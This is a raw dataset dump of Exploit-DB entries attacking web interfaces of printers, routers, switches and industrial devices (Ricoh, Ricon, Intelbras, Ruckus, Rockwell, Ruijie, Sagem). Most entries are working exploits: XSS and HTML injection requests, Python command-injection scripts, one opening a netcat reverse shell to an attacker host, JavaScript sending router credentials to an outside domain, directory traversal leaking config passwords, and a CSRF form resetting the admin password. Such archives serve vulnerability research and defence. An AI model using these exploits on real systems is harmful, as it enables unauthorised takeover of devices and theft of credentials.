deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45471
Description: RICOH MP C6503 Plus Printer - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-25
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH MP C6503 Plus Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c6503-plus-color-laser-multifunction-printer/_/R-SIG-C6503-PLU-SET
# Software: RICOH Printer
# Product Version:  MP C6503 Plus
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Stored XSS
# CVE: N/A

# On the RICOH MP C6503 Plus printer, HTML Injection and Stored XSS vulnerabilities have been discovered 
# in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Target/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 192
Cookie: risessionid=[PII_REDACTED]8492; cookieOnOffChecker=on; wimsesid=205216910
Connection: close

mode=ADDUSER&step=BASE&wimToken=278155990&entryIndexIn=00018&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1
Exploit-DB #46826
Description: RICOH SP 4510DN Printer - HTML Injection
Type: webapps
Platform: hardware
Date: 2019-05-10
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH SP 4510DN Printer - HTML Injection
# Date: 2019-05-06 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-europe.com/products/office-printers-fax/single-function-printers/sp-4520dn.html
# Software: RICOH Printer
# Product Version: SP 4510DN
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: CVE-2019-11845

# An HTML Injection vulnerability has been discovered on the RICOH SP 4510DN via the /web/entry/en/address/adrsSetUserWizard.cgi entryNameIn parameter.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 102
DNT: 1
Connection: close
Cookie: risessionid=[PII_REDACTED]06133; cookieOnOffChecker=on; wimsesid=98044857

mode=ADDUSER&step=BASE&wimToken=958429369&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3ETEST%3C%2Fh1%3E

# HTTP Response :

HTTP/1.1 200 OK
Date: Mon, 06 May 2019 11:42:46 GMT
Server: Web-Server/3.0
Content-Type: text/plain
Expires: Mon, 06 May 2019 11:42:46 GMT
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

[14]
Exploit-DB #47826
Description: RICOH SP 4510SF Printer - HTML Injection
Type: webapps
Platform: hardware
Date: 2019-12-30
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH SP 4510SF Printer - HTML Injection
# Date: 2019-05-06 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/re1/model/sp4510/sp4510.htm
# Software: RICOH Printer
# Product Version: SP 4510SF
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Description :
# An HTML Injection vulnerability has been discovered on the RICOH SP 4510SF 
# via the /web/entry/en/address/adrsSetUserWizard.cgi entryNameIn parameter.


# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 218
Origin: http://XXX.XXX.XX.XXX
Connection: close
Referer: http://189.72.192.16/web/entry/en/address/adrsList.cgi
Cookie: risessionid=[PII_REDACTED]24825; cookieOnOffChecker=on; wimsesid=314062051

mode=ADDUSER&step=BASE&wimToken=[PII_REDACTED]&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3Eismailtasdelen&entryDisplayNameIn=%22%3E%3Ch1%3Eismailtasdelen&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1

# HTTP Response :

HTTP/1.1 200 OK
Date: Fri, 20 Dec 2019 07:59:19 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Fri, 20 Dec 2019 07:59:19 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

[14]
Exploit-DB #46827
Description: RICOH SP 4520DN Printer - HTML Injection
Type: webapps
Platform: hardware
Date: 2019-05-10
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH SP 4520DN Printer - HTML Injection
# Date: 2019-05-06 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-europe.com/products/office-printers-fax/single-function-printers/sp-4520dn.html
# Software: RICOH Printer
# Product Version: SP 4520DN
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: CVE-2019-11844

# An HTML Injection vulnerability has been discovered on the RICOH SP 4520DN via the /web/entry/en/address/adrsSetUserWizard.cgi
# entryNameIn or entryDisplayNameIn parameter.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 219
DNT: 1
Connection: close
Cookie: risessionid=[PII_REDACTED]0758; cookieOnOffChecker=on; wimsesid=598742008

mode=ADDUSER&step=BASE&wimToken=279565363&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3ETEST%3C%2Fh1%3E&entryDisplayNameIn=%22%3E%3Ch1%3ETEST%3C%2Fh1%3E&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1

# HTTP Response :

HTTP/1.1 200 OK
Date: Mon, 06 May 2019 11:00:09 GMT
Server: Web-Server/3.0
Content-Type: text/plain
Expires: Mon, 06 May 2019 11:00:09 GMT
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

[14]
Exploit-DB #47827
Description: RICOH Web Image Monitor 1.09 - HTML Injection
Type: webapps
Platform: hardware
Date: 2019-12-30
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH Web Image Monitor 1.09 - HTML Injection
# Date: 2019-05-06 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support-download.com/services/device/webhlp/nb/gen/v140cc1/en/p_top010.html
# Software: RICOH Web Image Monitor
# Product Version: v1.09
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Descripton :
# It has been discovered that in the v1.09 version of Image Monitor from
# RICOH, HTML Injection can be run on the /web/entry/en/address/adrsSetUserWizard.cgi
# function. This vulnerability affected all hardware that uses the entire
# Image Monitor v1.09.

# Attack Vectors :

You can run HTML Injection on the entryNameIn and entryDisplayNameIn in the corresponding function.
HTML Injection Payload : "><h1>ismailtasdelen
Exploit-DB #50096
Description: Ricon Industrial Cellular Router S9922XL - Remote Command Execution (RCE)
Type: webapps
Platform: hardware
Date: 2021-07-05
Author: LiquidWorm

Exploit:
# Exploit Title: Ricon Industrial Cellular Router S9922XL - Remote Command Execution (RCE) 
# Date: 02.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.riconmobile.com


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Ricon Industrial Cellular Router S9922XL Remote Command Execution
#
#
# Vendor: Ricon Mobile Inc.
# Product web page: https://www.riconmobile.com
# Affected version: Model: S9922XL and S9922L
#                   Firmware: 16.10.3
#
# Summary: S9922L series LTE router is designed and manufactured by
# Ricon Mobile Inc., it based on 3G/LTE cellular network technology
# with industrial class quality. With its embedded cellular module,
# it widely used in multiple case like ATM connection, remote office
# security connection, data collection, etc.
#
# The S9922XL-LTE is a mobile network router based on 4G/4.5G, WiFi
# and VPN technologies. Powerful 64-bit Processor and integrated real-time
# operating system specially developed by Ricon Mobile. S9922XL is
# widely used in many areas such as intelligent transportation, scada,
# POS, industrial automation, telemetry, finance, environmental protection.
#
# Desc: The router suffers from an authenticated OS command injection
# vulnerability. This can be exploited to inject and execute arbitrary
# shell commands as the admin (root) user via the 'ping_server_ip' POST
# parameter. Also vulnerable to Heartbleed.
#
# --------------------------------------------------------------------
# C:\>python ricon.py 192.168.1.71 id
# uid=0(admin) gid=0(admin)
# --------------------------------------------------------------------
#
# Tested on: GNU/Linux 2.6.36 (mips)
#            WEB-ROUTER
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2021-5653
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5653.php
#
#
# 02.07.2021
#

import requests,sys,re

if len(sys.argv)<3:
    print("Ricon Industrial Routers RCE")
    print("Usage: ./ricon.py [ip] [cmd]")
    sys.exit(17)
else:
    ipaddr=sys.argv[1]
    execmd=sys.argv[2]

data={'submit_class'  :'admin',
      'submit_button' :'netTest',
      'submit_type'   :'',
      'action'        :'Apply',
      'change_action' :'',
      'is_ping'       :'0',
      'ping_server_ip':';'+execmd}

htreq=requests.post('http://'+ipaddr+'/apply.cgi',data=data,auth=('admin','admin'))
htreq=requests.get('http://'+ipaddr+'/asp/admin/netTest.asp',auth=('admin','admin'))
reout=re.search("20\">(.*)</textarea>",htreq.text,flags=re.S).group(1).strip('\n')
print(reout)
Exploit-DB #45928
Description: Rockwell Automation Allen-Bradley PowerMonitor 1000 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-12-03
Author: Luca.Chiou

Exploit:
# Exploit Title: Rockwell Automation Allen-Bradley PowerMonitor 1000 - Cross-Site Scripting
# Date: 2018-11-27
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.rockwellautomation.com/
# Version: 1408-EM3A-ENT B
# Tested on: It is a proprietary devices: https://ab.rockwellautomation.com/zh/Energy-Monitoring/1408-PowerMonitor-1000
# CVE : N/A

# 1. Description:
# In Rockwell Automation Allen-Bradley PowerMonitor 1000 web page,
# user can add a new user by access the /Security/Security.shtm.
# When users add a new user, the new user’s account will in the post data.
# Attackers can inject malicious XSS code in user’s account parameter of post data.
# The user’s account parameter will be stored in database, so that cause a stored XSS vulnerability.

# 2. Proof of Concept:
# Browse http://<Your Modem IP>/Security/Security.shtm
# In page Security.shtm, add a new user
# Send this post data:

/Security/cgi-bin/security|0|0|<script>alert(123)</script>
Exploit-DB #45937
Description: Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control Authentication Bypass
Type: webapps
Platform: hardware
Date: 2018-12-04
Author: Luca.Chiou

Exploit:
# Exploit Title: Rockwell Automation Allen-Bradley PowerMonitor 1000 - Incorrect Access Control
# Date: 2018-11-27
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.rockwellautomation.com/
# Version: 1408-EM3A-ENT B
# Tested on: It is a proprietary devices: https://ab.rockwellautomation.com/zh/Energy-Monitoring/1408-PowerMonitor-1000
# CVE : CVE-2018-19616

# 1. Description:
# In Rockwell Automation Allen-Bradley PowerMonitor 1000 web page, there are a few buttons are disabled,
# such as “Edit”, “Remove”, “AddNew”, “Change Policy Holder” and “Security Configuration”.
# View the source code of login page, those buttons/functions just use the “disabled” parameter to control the access right.
# It is allow attackers using proxy to erase the “disabled” parameter, and enable those buttons/functions.
# Once those buttons/functions are enabled.
# Attackers is capable to add a new user who have administrator right.
Exploit-DB #42916
Description: Roteador Wireless Intelbras WRN150 - Autentication Bypass
Type: webapps
Platform: hardware
Date: 2017-09-28
Author: Elber Tavares

Exploit:
# Exploit Title: Autentication Bypass/Config file download - INTELBRAS WRN
150
# Date: 28/09/2017
# Exploit Author: Elber Tavares
# Vendor Homepage: http://intelbras.com.br/
# Version: Intelbras Wireless N 150 Mbps - WRN 150
# Tested on: kali linux, windows 7, 8.1, 10
For more info:

http://whiteboyz.xyz/authentication-bypass-intelbras-wrn-150.html

URL VULN: http://10.0.0.1/

Download backup file:

Payload: curl --cookie "Cookie=admin:language=pt"
http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg



PoC:

#pip install requests
from requests import get

url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
#url do backup
header = {'Cookie': 'admin:language=pt'}
#setando o cookie no header
r = get(url, headers=header).text
print(r)
Exploit-DB #42633
Description: Roteador Wireless Intelbras WRN150 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-09-07
Author: Elber Tavares

Exploit:
# Exploit Title: XSS persistent on intelbras router with firmware WRN 250
# Date: 07/09/2017
# Exploit Author: Elber Tavares
# Vendor Homepage: http://intelbras.com.br/
# Version: Intelbras Wireless N 150Mbps - WRN 240
# Tested on: kali linux, windows 7, 8.1, 10

# CVE-2017-14219

For more info:


http://whiteboyz.xyz/xss-roteador-intelbras-wrn-240html

URL VULN: http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm

Payload: </script><script src='//elb.me'>

"elb.me contains the malicious code on index"

airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon

//requires an php script to get the logs

PoC:

var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
       alert(rawFile.responseText);
       var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
       //seleiciona a parte da página com as credenciais
       new Image().src="https://elb.me/cookie.php?ck="+btoa(base64);
       //envia as credenciais encodadas em base64
};
rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true);
//pega a source da página /popupSiteSurveyRpm.htm
rawFile.send();
Exploit-DB #49110
Description: Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-11-27
Author: Emre SUREN

Exploit:
# Product: Ruckus IoT Controller (Ruckus vRIoT)
# Version: <= 1.5.1.0.21
# Vendor: https://support.ruckuswireless.com/
# Vulnerability: Command Injection & Broken Authentication
# References: CVE-2020-26878
# Discovered by: Juan Manuel Fernandez
# Exploit Title: Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution
# Exploit Author: Emre SUREN
# Disclosure Date: 2020-10-26
# Tested on: Appliance

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests, urllib3, sys
from Crypto.Cipher import AES
from base64 import b64encode, b64decode
from colorama import Fore
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def listen(lhost, lport):
	opt = str(raw_input(Fore.YELLOW + "[?] Listening " + lhost + " " + lport + " (i.e. netcat) ? (y/n): "))
	if opt == "y":
		return True
	else:
		return False

def generatePayload(lhost, lport):

	payload="; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc "+lhost+" "+lport+" >/tmp/f; #"

	return payload

def generateMagicToken():

	enc_dec_method = 'utf-8'
	salt = 'nplusServiceAuth'
	salt = salt.encode("utf8")
	str_key = 'serviceN1authent'
	str_to_enc = 'TlBMVVMx'

	return encrypt(enc_dec_method, salt, str_key, str_to_enc)

def encrypt(enc_dec_method, salt, str_key, str_to_enc):

	aes_obj = AES.new(str_key, AES.MODE_CFB, salt)
	hx_enc = aes_obj.encrypt(str_to_enc.encode("utf8"))
	mret = b64encode(hx_enc).decode(enc_dec_method)

	return mret

def execCmd(rhost, rport, lhost, lport):

	payload = generatePayload(lhost, lport)
	post_data = {
	   "username": payload,
	   "password": "test"
	}
	print(Fore.BLUE + "[*] Payload\t: " + payload)

	token = generateMagicToken()
	headers = {
		"Authorization": token
	}

	rpath = "/service/v1/createUser"
	uri = 'https://' + rhost + ":" + rport + rpath

	r = requests.post(uri, json=post_data, headers=headers, verify=False)
	print(Fore.BLUE + "[*] Request sent")

	if r.status_code == 200:    
		print(Fore.GREEN + "[+] Successful. Check for the session...")
	else:
		print(Fore.RED + "[X] Failed. Check for the response...")
		print(Fore.BLUE + "[*] Response\t: " + r.text)
		sys.exit()

def main():

	if (len(sys.argv) != 5):
		print("[*] Usage: ruckus151021.py <RHOST> <RPORT> <LHOST> <LPORT>")
		print("[*] <RHOST> -> Target IP")
		print("[*] <RPORT> -> Target Port")
		print("[*] <LHOST> -> Attacker IP")
		print("[*] <LPORT> -> Attacker Port")
		print("[*] Example: python {} 192.168.2.25 443 192.168.2.3 9001".format(sys.argv[0]))
		exit(0)

	rhost = sys.argv[1]
	rport = sys.argv[2]
	lhost = sys.argv[3]
	lport = sys.argv[4]

	if not listen(lhost, lport):
		print(Fore.RED + "[!] Please listen at port {} to connect a reverse session !".format(lport))
	else:
		execCmd(rhost, rport, lhost, lport)

if __name__ == "__main__":
    main()
Exploit-DB #29709
Description: Ruckus Wireless Zoneflex 2942 Wireless Access Point - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2013-11-19
Author: myexploit

Exploit:
Exploit Title: Ruckus Wireless Zoneflex 2942 Wireless Access Point vulnerable to authentication bypass
Date: 10/10/2013
Exploit Author: myexploit
Vendor Homepage: http://www.ruckuswireless.com/
Version: 2942 Wireless Access Point version 9.6.0.0.267
CVE : CVE-2013-5030

Video to show the exploit

http://www.youtube.com/watch?v=KAAQZZs4_n4

Overview

Ruckus Wireless Zoneflex 2942 Wireless Access Point version 9.6.0.0.267 and possibly earlier versions contains an authentication bypass vulnerability (CWE-592).
Description

CWE-592: Authentication Bypass Issues

Ruckus Wireless Zoneflex 2942 Wireless Access Point version 9.6.0.0.267 contains an authentication bypass vulnerability. A local unauthenticated attacker may attempt to login with any credentials and after receiving the authentication failure message, the user can remove the /login.asp portion of the URI to bypass the login page. The attacker will not be able to browse to the other configuration pages of the device via the graphical user interface, but they can then manually edit the URI to gain access to the following pages:
/configuration/wireless.asp
/configuration/local_network.asp
/configuration/internet.asp
/configuration/device.asp
/maintenance/upgrade.asp
/maintenance/reboot.asp
Impact

An unauthenticated attacker may be able to directly access the device's configuration web pages. The attacker may also be able to reboot the access point, resulting in a denial of service.
Solution

We are currently unaware of a practical solution to this problem. Please consider the following workarounds.
Exploit-DB #48755
Description: Ruijie Networks Switch eWeb S29_RGOS 11.4 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2020-08-19
Author: Tuygun

Exploit:
# Exploit Title: Ruijie Networks Switch eWeb S29_RGOS 11.4 - Directory Traversal
# Exploit Author: Tuygun
# Date: 2020-08-19
# Vendor Homepage:  https://www.ruijienetworks.com/
# Version: eWeb S29_RGOS 11.4(1)B12P11
# Source : https://faruktuygun.com/directorytraversal.html

Proof of Concept Request:

GET /download.do?file=../../../../config.text HTTP/1.1
Host: 192.168.2.160
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: LOCAL_LANG_COOKIE=en; UI_LOCAL_COOKIE=en; mac=0074.9c95.43f0;
SID=33BA8206DE5B8B8295C89A3C4787D7A; module=network; subModule=certify;
threeModule=certify_adv
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Wed, 03 Jun 2020 20:52.25 GMT
Server: HTTP-Server/1.1
Content-length: 2070
Content-Disposition: attachment; filename="config.text"
Content-Type: application/octet-stream; Charset=UTF-8

version S29_RGOS 11.4(1)B12P11
hostname OMURGA
!
no spanning-tree
!
username admin password admin
username ruijie  privilege 15                    201998

!
cwmp
!
install 0 S2910C-24GT2XS-HP-E
!
sysmac 0074.9C95.43f0
!
enable service web-server http
enable service web-server https
webmaster level 1 username ruijie password 201998
!
nfpp
!
.
.
.
Exploit-DB #18504
Description: Sagem F@ST 2604 ADSL Router - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2012-02-22
Author: KinG Of PiraTeS

Exploit:
================================================================================
____ _    _    ____ _  _    ____ _  _ ___  ____ ____ 
|__| |    |    |__| |__|    |__| |_/  |__] |__| |__/ 
|  | |___ |___ |  | |  |    |  | | \_ |__] |  | |  \ 
                                                     
================================================================================
####
# Exploit Title: Sagem F@ST 2604 CSRF Vulnerability (ADSL Router)
# Author: KinG Of PiraTeS
# Facebook Page: www.facebook.com/cr4ck3d
# E-mail: t5r@hotmail.com 
# Category:: webapps
# Google Dork: NA
# Vendor: http://www.sagem.com/index.php
# Version: 253180972B May be Other Version are Affected 
# Tested on: [Windows 7 Edition Intégrale]
####


##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | * ------>  KinG Of PiraTeS * The g0bl!n <-------- * | 
# | ------------------------------------------------- < |
###


# 
1)Introduction
2)Vulnerability Description
3)Exploit
>> ----------------------------------------------------------------
1)Introduction
The Sagemcom F@st 2604 is a wireless ADSL2/2+ router with one RJ-11 WAN port and four 10/100Base-T LAN ports. 

2)Vulnerability Description
From SAGEM F@st 2604 U can change the default "Admin" password Or Any User Password which is listening on tcp/ip port 80 
May be Other Version are Affected 

3)Exploit

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>Password successfully changed [CSRF Exploit change ADMIN password]</H2>
<form method="POST" name="form0" action="http://192.168.1.254/password.cgi?sys[CREDENTIAL_REDACTED]">
</form>
</body>
</html>
 

-
123123 is the New Password 
-
####

Peace From Algeria

####

=================================**Algerians Hackers**=======================================
# Greets To : 
  Caddy-Dz & KedAns-Dz **All Algerians Hackers** , Kondamne , The-007 ,  Bensekran , Joker dz
  (exploit-id.com) , (1337day.com) , (h4ckforu.com) , (alboraaq.com)
  All My Friends: Ali Abdennadher ,Chaouki Keffois , Kader11000 , Br0x-dz , Hanixpo	
  !-Bb0yH4cK3r_Dz-! , xConsoLe , S@xx0R , kalashinkov3 ,..others
=============================================================================================